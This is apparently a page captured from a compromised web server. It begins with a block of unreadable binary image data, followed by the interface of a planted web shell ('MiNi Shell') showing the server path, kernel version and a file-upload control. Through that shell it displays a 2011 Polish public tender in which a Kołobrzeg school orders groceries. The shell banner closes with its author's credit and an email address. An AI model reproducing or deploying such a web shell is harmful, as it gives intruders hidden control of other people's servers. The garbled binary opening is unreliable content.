JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20111206/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20111206/413346-N-2011.html

<p class="kh_header"><b>Kołobrzeg: Dostawa artykułów w grupie  Różne produkty spożywcze</b><br>
<b>Numer ogłoszenia: 413346 - 2011; data zamieszczenia: 06.12.2011</b><br>
OGŁOSZENIE O ZAMÓWIENIU - dostawy<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> nieobowiązkowe</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Zespół Szkół Ekonomiczno-Hotelarskich im. Emilii Gierczak , ul. Łopuskiego 13, 78-100 Kołobrzeg, woj. zachodniopomorskie, tel. 0-94 35 115 55, faks 0-94 35 115 55.</p>
<ul class="kh_indent_1">
</ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Uczelnia publiczna.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> Dostawa artykułów w grupie  Różne produkty spożywcze.</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> dostawy.</p>
<p><b>II.1.3) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> Załącznik Nr 1		
	Zestawienie ilościowo-wartościowe w grupie - Różne PRODUKTY  2012 r.							
								
L.p.	                Nazwa  towaru 	 J.m.	   Ilość	Cena	  Wartość	    Vat	   Wartość	nazwa handlowa produktu
				jednost.	    netto	     %	      brutto	
				netto				
	Grupa G1 - oleje i tłuszcze zwierzęce lub roślinne 							
								
1	Olej kujawski 1l lub równoważne	szt	500					
2	Olej kujawski 3l lub równoważne	szt	100					
3	Olej kujawski 5l lub równoważne	szt	200					
4	Oliwa z oliwek z pierwszego tłoczenia 0,5 l	szt	5					
5	Frytura 20 l	szt	10					
								
	Grupa G2- produkty przemiału ziarna , skrobi i produktów skrobiowych							
								
6	Mąka koszalińska lub równoważne typ 500	kg	2000					
7	Mąka kukurydziana 1 kg	kg	3					
8	Makaron np. Lubella muszelki , świderki, kolanka , rurki, wstążki, nitki, spaghetti, świderki,nitki-gniazda 0,500 kg  lub równoważne	szt	800					
9	Makaron np. Lubella muszelki, świderki,kolnka,rurki, wstążki, nitki, spaghetti, świderki, nitki-gniazda 3kg lub równoważne  	szt	50					
10	Makaron zacierka Lubella lub równoważne 0,250 kg	szt	10					
11	Kasza jęczmienna 1kg	szt	20					
12	Kasza gryczana 1kg	szt	120					
13	Kasza gryczana 0,50 kg	szt	10					
14	Ryż 1kg	szt	200					
15	Kasza manna 1kg	szt	5					
16	Groch łuskany połówki 0,50kg	szt	200					
17	Fasola JAŚ 0,50kg	szt	100					
18	Fasola JAŚ 5kg	szt	20					
19	Płatki owsiane 0,50kg	szt	10					
20	Płatki kukurydziane Nestle 0,25kg	szt	100					
21	Płatki kukurydziane Nestle 0,50kg	szt	20					
22	Płatki kukurydziane Nestle1kg	szt	150					
23	Musli czekoladowe Nestle0,25kg	szt	10					
24	Musli czekoladowe Nestle0,50kg	szt	10					
25	Musli tradycyjne Nestle 0,35kg	szt	150					
26	Musli tropikalne Nestle0,350kg	szt	140					
27	Musli miodowe Nestle0,250kg	szt	10					
28	Mąka  ziemniaczana 0,50kg	szt	20					
29	Mąka ziemniaczana 1 kg	szt	100					
30	Bułka tarta 0,50kg	szt	1000					
								
	Grupa G3- owoce, warzywa i podobne produkty							
								
31	Brzoskwinie konserwowe w syropie 0,85kg	szt	200					
32	Ananasy plastry konserwowe w syropie 0,565 kg	szt	250					
33	Aromat do ciast 0,10 l	szt	1000					
34	Rodzynki 0,10 kg	szt	100					
35	Gruszki w syropie 0,85 kg	szt	10					
36	Śliwki suszone bez pestek 0,150kg	szt	100					
37	Jabłka prażone szarlotka 0,90 kg	szt	70					
38	Jabłka prażone z brzoskwiniami 0,90  kg 	szt	40					
39	Jabłka suszone	szt	3					
40	Owoce susz mieszanka	szt	3					
41	Orzechy laskowe  łuskane 0,100 kg      	szt	10					
42	Płatki migdałowe 0,075 kg	szt	40					
43	Migdały 0,100 kg	szt	30					
44	Wiórki kokosowe różne kolory 0,100kg	szt	70					
45	Wiórki kokosowe różne kolory 0,500kg	szt	10					
46	Orzechy włoskie łuskane 0,100 kg	szt	40					
47	Grzyby suszone 1 kg	szt	15					
48	Pieczarki konserwowe 0,90 kg	szt	190					
49	Oliwki czarne 0,935 kg	szt	10					
50	Oliwki czarne 0,358 kg	szt	40					
51	Oliwki zielone z papryką 0,358 kg	szt	40					
52	Oliwki zielone z papryką 0,935 kg	szt	5					
53	Kiełki soi 0,370kg	szt	30					
54	Kiełki soi Bonduell 0,400kg	szt	10					
55	Fasola konserwowa szparagowa 0,50kg	szt	200					
56	Fasola konserwowa szparagowa 0,72 kg	szt	100					
57	Groszek konserwowy 0,85 kg	szt	5					
58	Groszek konserwowy 0,425 kg	szt	250					
59	Kukurydza konserwowa 0,40 kg	szt	400					
60	Kukurydza konserwowa  0,34 kg	szt	50					
61	Kukurydza kolby 0,425 kg	szt	10					
62	Seler konserwowy 0,340 kg	szt	30					
63	Cebulka konserwowa biała 0,30 kg	szt	50					
64	Cebula konserwowa złota 0,30 kg	szt	50					
65	Papryka konserwowa 0,90 kg	szt	70					
66	Ogórki konserwowe 1,70 kg	szt	5					
67	Ogórki konserwowe 0,90 kg	szt	300					
68	Przecier ogórkowy 0,33kg	szt	100					
69	Kapusta czerwona konserwowa 0,90 kg	szt	150					
70	Fasola czerwona kons. 0,425kg 	szt	120					
71	Fasola czerwona kons. Bonduell 0,40kg 	szt	10					
72	Marchew konserwowa 0,90 szt	szt	5					
73	Mak 0,50 kg	szt	40					
74	Marchew z groszkiem konserwowa 0,90 kg	szt	5					
75	Szparagi 0,370 szt	szt	150					
76	Szparagi 0,212 szt	szt	30					
77	Szczaw konserwowy 0,330 kg	szt	5					
78	Szczaw konserwowy 0,90 szt	szt	50					
79	Sałatka obiadowa wielowarzywna 0.90kg	szt	50					
80	Chrzan konserwowy 0,270 kg	szt	80					
81	Ćwikła z chrzanem 0,270 kg	szt	20					
82	Koncentrat pomidorowy złoty bażant  0,85 kg lub równoważne 	szt	150					
83	Koncentrat pomidorowy złoty bażant 0,425 kg  	szt	180					
84	Ketchup Włocławek  lub równowżne 1 kg	szt	260					
85	Ketchup Włocławek  lub równoważne 0,50 kg 	szt	10					
86	Ketchup Włocławek  3 kg lub równoważne 	szt	5					
87	Dżem truskawkowy lub wiśniowy 25g	szt	2000					
88	Dżem śliwkowy 25g	szt	1600					
89	Dżem śliwkowy 1,30 kg	szt	5					
90	Dżem z czarnej porzeczki 25g	szt	30					
91	Dżem z czarnej porzeczki 1,30kg	szt	5					
92	Dżem  truskawkowy lub wiśniowy 0,310 kg 	szt	10					
93	Dżem truskawkowy lub wiśniowy 1,30 kg	szt	5					
94	Dżem truskawkowy lub wiśniowy 7 kg 	szt	5					
95	Dżem śliwkowy 7kg	szt	5					
96	Dżem z czarnej porzeczki 7 kg	szt	5					
97	Dzęm niskosłodzony 0,33 kg	szt	20					
98	Żurawina 0,30 kg	szt	30					
99	Borówki do mięsa 0,30 kg	szt	10					
100	Kompot truskawkowy  0,90 l	szt	800					
101	Kompot wiśniowy 0,90 l	szt	800					
102	Kompot z czarnej porzeczki 0,90 l 	szt	400					
103	Kompot z aroni 0,90 l	szt	200					
104	Kompot śliwkowy 0,90 l	szt	250					
105	Czereśnie koktailowe 0,370 kg	szt	10					
106	Galaretki owocowe mix dr. Oetker lub równoważne  1 kg	szt	5					
107	Galaretki owocowe mix dr Oetker 0,090 kg 	szt	170					
108	Kisiel o różnych smakach 0,038 kg 	szt	30					
109	Budyń o różnych smakach 0,040 kg	szt	120					
110	Sos do lodów adwokat 1 kg	szt	5					
111	Sos owocowy mix 1 kg 	szt	5					
112	Sos czekoladowy 1 kg	szt	5					
113	Syrop malinowy, truskawkowy, wiśniowy Łowicz 0,50 l lub równoważne	szt	15					
								
	Grupa G4 - różne produkty spożywcze							
								
114	Cukier 1 kg	szt	1800					
115	Cukier puder 0,50 kg	szt	140					
116	Cukier waniliowy 32 g	szt	1200					
117	Cukier kostka	kg	5					
118	Herbata ekspresowa 100 szt Lipton lub równoważne	szt	350					
119	Herbata ekspresowa miętowa  20 szt	szt	500					
120	Herbata ekspresowa owocowa  20 szt	szt	500					
122	Kawa capuccino 1 kg	kg	5					
123	Kakao słodkie 0,2 kg	szt	25					
124	Kakao Wedel 0,10 kg lub równoważne	szt	50					
125	Kakao ciemne 0,20 kg lub równoważne	szt	100					
126	Majonez dekoracyjny Winiary 0,40 kg lub równoważne	szt	10					
127	Majonez dekoracyjny Winiary 0,70 kg lub równoważne	szt	50					
128	Majonez dekoracyjny Winiary 3 kg lub równoważne	szt	200					
129	Bulion z kury Winiary 120 g lub równoważne 	szt	500					
130	Bulion wołowy winiary 120 g lub równoważne	szt	10					
131	Bulion grzybowy 120 g	szt	20					
132	Miód naturalny 1,250 kg	szt	5					
133	Miód wielokwiatowy 25g	szt	6000					
134	Miód wielokwiatowy 0,40 kg	szt	5					
135	Miód sztuczny 0,35 kg	szt	60					
136	Koperek suszony 250 g	szt	5					
137	Natka suszona 0,5 kg	szt	5					
138	Czosnek suszony 1 kg	szt	2					
139	Sól czosnkowa 20 g	szt	10					
140	Przyprawa do zup w płynie Winiary  1 l lub równoważne 	szt	150					
141	Przyprawa do zupaw płynie Winiary 0,20 l lub równoważne 	szt	10					
142	Kotlety wegetariańskie 0,250 kg	szt	20					
143	Liść laurowy 0,50 kg	szt	15					
144	Liść laurowy 0,06kg	szt	100					
145	Papryka słodka mielona 1 kg	szt	5					
146	Papryka słodka mielona 20 g	szt	100					
147	Papryka ostra mielona 15 g	szt	30					
148	Tymianek 15 g	szt	10					
149	Sól warzona paczkowana 1 kg	szt	500					
150	Musztarda 1 kg 	szt	120					
151	Musztarda 0,50 kg	szt	10					
152	Musztarda 0,25 kg	szt	10					
153	Ocet spirytusowy 10 % 0,50 l	szt	40					
154	Ocet balsamiczny 0,250 l	szt	10					
155	Bazylia 10 g	szt	10					
156	Oregano 10 g	szt	10					
157	Przyprawa Degusta 1 kg lub równoważne	szt	400					
158	Przyprawa Degusta 200 g 	szt	10					
159	Przyprawa Vegeta 1 kg lub równoważne	szt	5					
160	Przyprawa Vegeta 200 g	szt	10					
161	Kwasek cytrynowy 0,50 kg	szt	15					
162	Kwasek cytrynowy 20 g 	szt	400					
163	Kurkuma 10 g	szt	10					
164	Tymianek 15 g	szt	10					
165	Majeranek 1 kg	szt	5					
166	Majeranek 0,50 kg	szt	3					
167	Majeranek 10 g	szt	100					
168	Soda oczyszczona 0,050 kg	szt	10					
169	Proszek do pieczenia 36g	szt	100					
170	Żelatyna spożywcza 1 kg	szt	15					
171	Żelatyna spożywcza 50 g	szt	100					
172	Cynamon 0,50 kg	szt	4					
173	Goździki 15g	szt	2					
174	Pieprz ziołowy 20 g	szt	20					
175	Pieprz naturalny czarny mielony 0,50 kg	szt	20					
176	Pieprz naturalny czarny mielony 20 g	szt	300					
177	Pieprz biały 15 g	szt	20					
178	Gałka muszkatałowa 20 g	szt	30					
179	Ziele angielskie 0,50 kg	szt	8					
180	Ziele angielskie 15 g	szt	200					
181	Sos tabasco 57 ml	szt	5					
182	Sos sojowy 0,623l 	szt	10					
183	Woda mineralna gazowana 1,5l	szt	1200					
184	Woda mineralna gazowana 0,5l	szt	1200					
185	Woda mineralna niegazowana 1,5l	szt	2500					
186	Woda mineralna niegazowana 0,5l	szt	1700					
187	Czekolada mleczna Wedel 100 g lub równoważne	szt	10					
188	Czekolada mleczna bakaliowa Wedel  100 g lub równoważne 	szt	5					
189	Czekolada gorzka Wedel 100 g lub równoważne	szt	10					
190	Baton Lion 43 g	szt	100					
191	Baton Pawełek 48 g	szt	100					
192	Baton Mars 50 g	szt	100					
193	Baton Snikers 50 g	szt	100					
194	Baton Kit _ Kat 50 g	szt	100					
195	Baton Bounty 50 g	szt	100					
196	Baton 3 Bit 58 g	szt	10					
197	Baton Bajeczny 50 g	szt	10					
198	Baton twix 58 g	szt	10					
199	Delicje 136 g	szt	10					
200	Chipsy różne smaki 0,030 kg	szt	30					
201	Paluszki 100 g	szt	300					
202	Ciasteczka drobne 	kg	60					
203	Ciasteczka drobne w czekoladzie	kg	60					
204	Mix Princessa  50 g	szt	400					
205	Pistacje 0,100 kg	szt	10					
206	Przyprawa do piernika 20 g	szt	20					
207	Kawa capuccino mix 10 szt 1 op.	op	6					
208	Wafle bez cukru 50 g	szt	20					
209	Biszkopty 170 g	szt	10					
210	Krakersy 180 g	szt	60					
211	Cukierki mieszanka Wedlowska	kg	10					
212	Cukierki czekoladowe klejnoty 2,5 kg op.	op.	4					
213	Przyprawa curry 0,5 kg op	op.	8					
214	Cukier w saszetkach 200 szt op.	op.	3					
215	Kminek 0,02 kg	szt	20					
216	Posypka kolorowa 30 g	szt	10					
217	Słodzik 100 szt op.	op	40					
218	Zioła prowansalskie 1 kg	kg	1					
219	Chrupki kukurydziane 60 g	szt	10					
220	Mandarynki konserwowe 0,314 kg	szt	10					
221	Morela suszona 0,150 kg	szt	40					
222	Kawa inka 150g	szt	5					
223	Rurki waflowe 2 kg.op.	op.	3					
224	makaron cannelloni 250g	szt	40					
225	makaron lazzania 1kg	kg	10					
226	sok Kubuś 03 l	szt	500					
227	suchary bezcukrowe 0,2kg	op	15					
228	mąka tortowa 1 kg	kg	50					
229	przecier ogórkowy 0,9	szt	120					
230	ryż paraboliczny 1 kg	kg	100					
231	czekolada biała 100g	szt	10					
232	biszkopty języczki 350g	szt	10					
233	pestki słonecznika 1000g	szt	10					
234	pestki dyni 1000g	szt	10					
								
	Wartość razem.</p>
<p><b>II.1.4) Czy przewiduje się udzielenie zamówień uzupełniających:</b> tak.</p>
<ul class="kh_indent_1"><li><b>Określenie przedmiotu oraz wielkości lub zakresu zamówień uzupełniających</b></li><li>do 20% całości zamówienia</li></ul>
<p><b>II.1.5) Wspólny Słownik Zamówień (CPV):</b> 15.80.00.00-6.</p>
<p><b>II.1.6) Czy dopuszcza się złożenie oferty częściowej:</b> nie.</p>
<p><b>II.1.7) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Okres w miesiącach: 12.</p>

<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>


<p><b>III.2) ZALICZKI</b></p>
<ul class="kh_indent_1"><li><b>Czy przewiduje się udzielenie zaliczek na poczet wykonania zamówienia:</b> nie</li></ul>
<p><b>III.3) WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ OPIS SPOSOBU DOKONYWANIA OCENY SPEŁNIANIA TYCH WARUNKÓW</b></p>
<ul class="kh_indent_1">
<li><p><b>III.3.2) Wiedza i doświadczenie</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Wymagane jest wykazanie przez Wykonawcę realizacji co najmniej 3 dostaw okresie ostatnich trzech lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie odpowiadających swoim rodzajem i wartością dostawom stanowiącym przedmiot zamówienia, z podaniem ich wartości, przedmiotu, dat wykonania i odbiorców
załącznik nr 2 - wykaz wykonywanych dostaw</p>
</li></ul></li><li><p><b>III.3.5) Sytuacja ekonomiczna i finansowa</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Aktualne zaświadczenia właściwego naczelnika Urzędu Skarbowego  potwierdzających odpowiednio, że Wykonawca nie zalega z opłaceniem podatków, opłat  lub zaświadczeń, że uzyskał przewidziane prawem zwolnienie, odroczenie lub rozłożenie na raty zaległych płatności lub wstrzymanie w całości wykonania decyzji właściwego organu -wystawionych nie wcześniej niż 3 miesiące przed upływem terminu składania ofert.</p>
</li></ul></li></ul>
<p><b>III.4) INFORMACJA O OŚWIADCZENIACH LUB DOKUMENTACH, JAKIE MAJĄ DOSTARCZYĆ WYKONAWCY W CELU POTWIERDZENIA SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU ORAZ NIEPODLEGANIA WYKLUCZENIU NA PODSTAWIE ART. 24 UST. 1 USTAWY</b></p>
<ul class="kh_indent_1"><li>
<p><b>III.4.1) W zakresie wykazania spełniania przez wykonawcę warunków, o których mowa w art. 22 ust. 1 ustawy, oprócz oświadczenia o spełnieniu warunków udziału w postępowaniu, należy przedłożyć:</b></p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li  style="margin-bottom: 12px;">koncesję, zezwolenie lub licencję</li>

</ul></li>

<li><p><b>III.4.2) W zakresie potwierdzenia niepodlegania wykluczeniu na podstawie art. 24 ust. 1 ustawy, należy przedłożyć:</b></p>

<ul style="text-align: justify; margin-right: 20px; list-style: disc"><li style="margin-bottom: 12px;">oświadczenie o braku podstaw do wykluczenia</li>

<li style="margin-bottom: 12px;">aktualne zaświadczenie właściwego naczelnika urzędu skarbowego potwierdzające, że wykonawca nie zalega z opłacaniem podatków  lub zaświadczenie, że uzyskał przewidziane prawem zwolnienie, odroczenie lub rozłożenie na raty zaległych płatności lub wstrzymanie w całości wykonania decyzji właściwego organu - wystawione nie wcześniej niż 3 miesiące przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert</li>

</ul></li>
<li>
</li>
</ul>

<p><b>III.7) Czy ogranicza się możliwość ubiegania się o zamówienie publiczne tylko dla wykonawców, u których ponad 50 % pracowników stanowią osoby niepełnosprawne: </b>nie</p>


<p class="kh_title">SEKCJA IV: PROCEDURA</p>
<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>

<p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>najniższa cena.</p>
<p><b>IV.2.2) Czy przeprowadzona będzie aukcja elektroniczna:</b> nie.</p>
<p><b>IV.3) ZMIANA UMOWY</b></p>
<p><b>Czy przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy: </b>nie</p>

<p><b>IV.4) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.4.1)</b>&nbsp;<b>Adres strony internetowej, na której jest dostępna specyfikacja istotnych warunków zamówienia:</b> www.ekonom.kolobrzeg.pl  (przetargi)           http://zsehkolobrzeg.finn.pl  (przetargi)<br>
<b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> Zespół Szkół Ekonomiczno-Hotelarskich ul.Łopuskiego 13, 78-100 Kołobrzeg, pok.114.</p>
<p><b>IV.4.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 20.12.2011 godzina 09:00, miejsce: Zespół Szkół Ekonomiczno-Hotelarskich ul.Łopuskiego 13, 78-100 Kołobrzeg, pok.114.</p>
<p><b>IV.4.5) Termin związania ofertą:</b> okres w dniach: 30 (od ostatecznego terminu składania ofert).</p>





<p><b>IV.4.17) Czy przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia: </b> nie</p>

Creat By MiNi SheLL
Email: jattceo@gmail.com